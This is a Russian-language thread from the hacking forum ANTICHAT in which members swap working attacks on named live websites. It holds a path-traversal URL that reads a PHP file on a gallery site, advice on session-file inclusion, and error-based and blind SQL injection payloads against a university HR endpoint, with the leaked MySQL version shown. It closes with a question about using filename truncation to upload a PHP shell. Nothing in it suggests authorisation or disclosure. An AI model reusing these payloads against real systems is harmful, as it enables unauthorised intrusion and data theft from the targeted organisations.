HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 14.02.2018, 15:55
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами: 5344886

Репутация: 441


По умолчанию

Цитата:
Сообщение от z3u5  

Спасибо, как читалку отличить от инклуда? Пускать в логи должно?
С большой долей вероятности можно определить исходя из контекста. В этом случае, по URI видно, что используется некий функционал галереи, а по заголовкам можно понять, что отдаётся содержимое файла:

Код:
Content-Disposition: inline; filename=""
Content-Length: 0
Connection: close
Content-Type: image/jpeg
Но если какие либо внешние факторы отсутствуют, то да, нужно подтверждать экспериментально.

Читалка/инклуд на доступ к логам не влияют. Зависит от настроек системы и текущего пользователя.
 
Ответить с цитированием

  #2  
Старый 14.02.2018, 16:17
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами: 5344886

Репутация: 441


По умолчанию

Цитата:
Сообщение от crlf  

Но если какие либо внешние факторы отсутствуют, то да, нужно подтверждать экспериментально.
Либо прочитать любой PHP скрипт

Код:
https://www.enature.net/nudist_gallery/full_image/?page=/../index.php
 
Ответить с цитированием

  #3  
Старый 14.02.2018, 16:35
z3u5
Новичок
Регистрация: 30.06.2013
Сообщений: 12
С нами: 6773366

Репутация: 0
По умолчанию

Цитата:
Сообщение от crlf  

С большой долей вероятности можно определить исходя из контекста. В этом случае, по URI видно, что используется некий функционал галереи, а по заголовкам можно понять, что отдаётся содержимое файла:
Код:
Content-Disposition: inline; filename=""
Content-Length: 0
Connection: close
Content-Type: image/jpeg
Но если какие либо внешние факторы отсутствуют, то да, нужно подтверждать экспериментально.
Читалка/инклуд на доступ к логам не влияют. Зависит от настроек системы и текущего пользователя.
Спасибо, я гуманитарий просто. А если нет доступа к логам - как выглядит процесс запуска своего кода, через сеансы?
 
Ответить с цитированием

  #4  
Старый 14.02.2018, 16:43
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Цитата:
Сообщение от z3u5  

Спасибо, я гуманитарий просто. А если нет доступа к логам - как выглядит процесс запуска своего кода, через сеансы?
Для этого

1) должен быть инклуд

2) не должно быть расширение(или его можно откинуть)

3) должен знать имя своего сеансового файла

site.ru/?page=../../../../../../var/log/sess_file

__________________________________________________ __________________________

.SpoilerTarget" type="button">Spoiler
https://rdot.org/forum/showthread.php?t=343

https://xakep.ru/2012/01/25/58183/

https://rdot.org/forum/showthread.php?t=1134
 
Ответить с цитированием

  #5  
Старый 14.02.2018, 16:45
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами: 5344886

Репутация: 441


По умолчанию

Сегодня день инклудов В этом посте есть ссылка, на хороший материал.
 
Ответить с цитированием

  #6  
Старый 16.02.2018, 21:34
st55
Участник форума
Регистрация: 20.04.2016
Сообщений: 185
С нами: 5297366

Репутация: 47
По умолчанию

Цитата:
Сообщение от Octavian  

Есть тут Sql Injection или просто ошибка? UPD: Она тут есть но не могу найти вектор
Код:
https://ums.usmf.md/hr/logAction.php/1'
Error-Based вектор, фильтруется запятая.
 
Ответить с цитированием

  #7  
Старый 16.02.2018, 21:40
erwerr2321
Флудер
Регистрация: 19.06.2015
Сообщений: 4,126
С нами: 5738006

Репутация: 147


По умолчанию

Код:
https://ums.usmf.md/hr/logAction.php/Z' or substring(@@version from 1 for 1)=5-- -
 
Ответить с цитированием

  #8  
Старый 16.02.2018, 21:43
st55
Участник форума
Регистрация: 20.04.2016
Сообщений: 185
С нами: 5297366

Репутация: 47
По умолчанию

Цитата:
Сообщение от Octavian  

Как обойти?
JOIN.

Цитата:
Сообщение от ms13  

Код:
https://ums.usmf.md/hr/logAction.php/Z' or substring(@@version from 1 for 1)=5
Ну, как вариант, если интересно слепые крутить.
 
Ответить с цитированием

  #9  
Старый 16.02.2018, 21:47
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию

Цитата:
Сообщение от Octavian  

Как обойти?
Код:
1 https://ums.usmf.md/hr/logAction.php/Z'=0 group by mid(@@version from floor(rand(0)*2))having avg(0)-- -
2 https://ums.usmf.md/hr/logAction.php/Z'--~(select*from(select@@version)f)-- -
1. Duplicate entry '5.6.28' for key 'group_key'

2. BIGINT value is out of range in '-(~((select '5.6.28' from dual)))'
 
Ответить с цитированием

  #10  
Старый 19.02.2018, 22:44
Octavian
Постоянный
Регистрация: 08.07.2015
Сообщений: 501
С нами: 5710646

Репутация: 24


По умолчанию

Есть сайт загружает

Код:
6621519064845-asd.php.jpg
загрузил длинное название с расчетом на обрез

Код:
6621519064845-(около 200 символов).php.jpg
в результате получил что ожидал

Код:
6621519064845-(около 200 символов).php
но увы при запись в бд обрезается но на сервере сохраняет оригинал

Код:
6621519064845-(около 200 символов).php.jpg
Вопрос какое название носят такие уязвимость, и какие фичи эксплуатации можно попробовать? По длине php никак не обрежет ?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.